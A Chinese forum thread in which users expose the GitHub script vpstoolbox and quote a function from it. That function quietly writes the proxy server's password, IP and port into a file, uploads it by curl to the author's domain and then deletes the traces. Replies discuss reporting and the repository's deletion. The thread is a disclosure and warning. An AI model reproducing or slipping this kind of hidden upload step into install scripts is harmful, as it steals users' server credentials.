Github 间谍项目 vpstoolbox，避雷，有用的小伙伴记得改密码

[proxytoworld]

仓库:https://github.com/johnrosen1/vpstoolbox/blob/master/vps.sh

会把机场的 IP ，端口，密码上传到作者可控的服务器，后续想干嘛就不知道了

https://github.com/johnrosen1/vpstoolbox/blob/ec7e0dc19561563f5d278a3e436f1cf67b9ae7b5/vps.sh#L494

clean_env(){
prasejson
cd /root
echo "trojan://${password1}@${myip}:${trojanport}?security=tls&headerType=none&type=tcp&sni=${domain}#Trojan($(nproc --all)C$(grep MemTotal /proc/meminfo | awk '{print $2}' | xargs -I {} echo "scale=1; {}/1024^2" | bc)G ${route_final}${mycountry} ${myip_org} ${myip} ${myipv6} ${target_speed_up} Mbps)" &> ${myip}.txt
curl --retry 5 https://johnrosen1.com/fsahdfksh/ --upload-file ${myip}.txt &> /dev/null
rm ${myip}.txt
cd
rm -rf /root/*.sh
rm -rf /usr/share/nginx/*.sh
clear
}

[buyan3303]

[机场的 IP ，端口，密码上传到作者可控的服务器]
通常自己免费使用这些机场

[proxytoworld]

@buyan3303 也有可能转卖，谁知道呢

[Greenm]

不管出于什么目的，我已经提交 report 给 github 了。

[vsitebon]

太特么溜了

[Andim]

还是 1000 以上的关注项目呀

[arfaWong]

之前就有人发现发了 issue ，然后作者把 issue 给关了😂

[jomalonejia]

关注后续

[csrocks]

已经删库了😂

[aogg]

已经打不开 github 项目了

[lzgshsj]

不开 issue 的的仓库，多少有点这那毛病

[Rache1]

还有 1.4k 的 star

https://web.archive.org/web/20230330025849/https://github.com/johnrosen1/vpstoolbox

[Rache1]

在这个 issue 发出来的时候，还有 1.6k star 😄

为什么 trojan 订阅地址包括用户密码等要上传到个人博客？ · Issue #138 · johnrosen1/vpstoolbox · GitHub
https://web.archive.org/web/20221128070511/https://github.com/johnrosen1/vpstoolbox/issues/138

[vsitebon]

已经删号和删库了

[iyiluo]

跑路了，估计好一大波肉鸡

[lakehylia]

这是真正的删库跑路吧。。。

[vsitebon]

该开发者在 v 站： https://www.v2ex.com/member/johnrosen1

[leaflxh]

曾经有一次把 get.docker.com 记错了，打成了 get-docker.sh 。用一键脚本感觉像是在裸奔

[leaflxh]

#!/bin/bash
while [ 1 ]
do
echo " ______________ ______ ___ ________ "
echo " .\\\\ _ _ /----/ /_____/ \\\\\\. /_ "
echo " )__/ /___\\ _/ // / // /___(__ "
echo " / // \\ // / // /_\\ \\ "
echo " /_____\\ /_____\\ _________\\ _______ \\ "
echo " ////////\\_____///////\\\\/////////\\\\///////\\_____//. "
echo " _________ ___________ ________ _______ ________ "
echo " _) /_.) ._ // ___ // /_____\\____ ( "
echo " \\ |__/ \\__ |/ _// / / / X0 / \\ "
echo " \\ : / / \\__ / //_ /\\ /. / \\ "
echo " .\\\\___ /___\\ /_____////____/\\ \\\\__ / "
echo " ////\\____//////\\____/////// ////////\\____////\\____//. "
echo " ///// ///// ///// ///// "
echo ""
echo " WHY YOU NO LOOK AT THE SOURCE BEFORE YOU PIPE INTO BASH??"
echo ""
echo " #AirGap2020 Virtual Conference May 2nd! https://airgapp.in"
echo " Follow @airgappin on Twitter for updates!"
echo ""
done

[cookcode]

看了一眼，开发这个的老哥在 v2 也宣传过

[wdv2ly]

@vsitebon 哈哈，估计作者一看到 v 站小伙伴曝光，立马删库跑路😂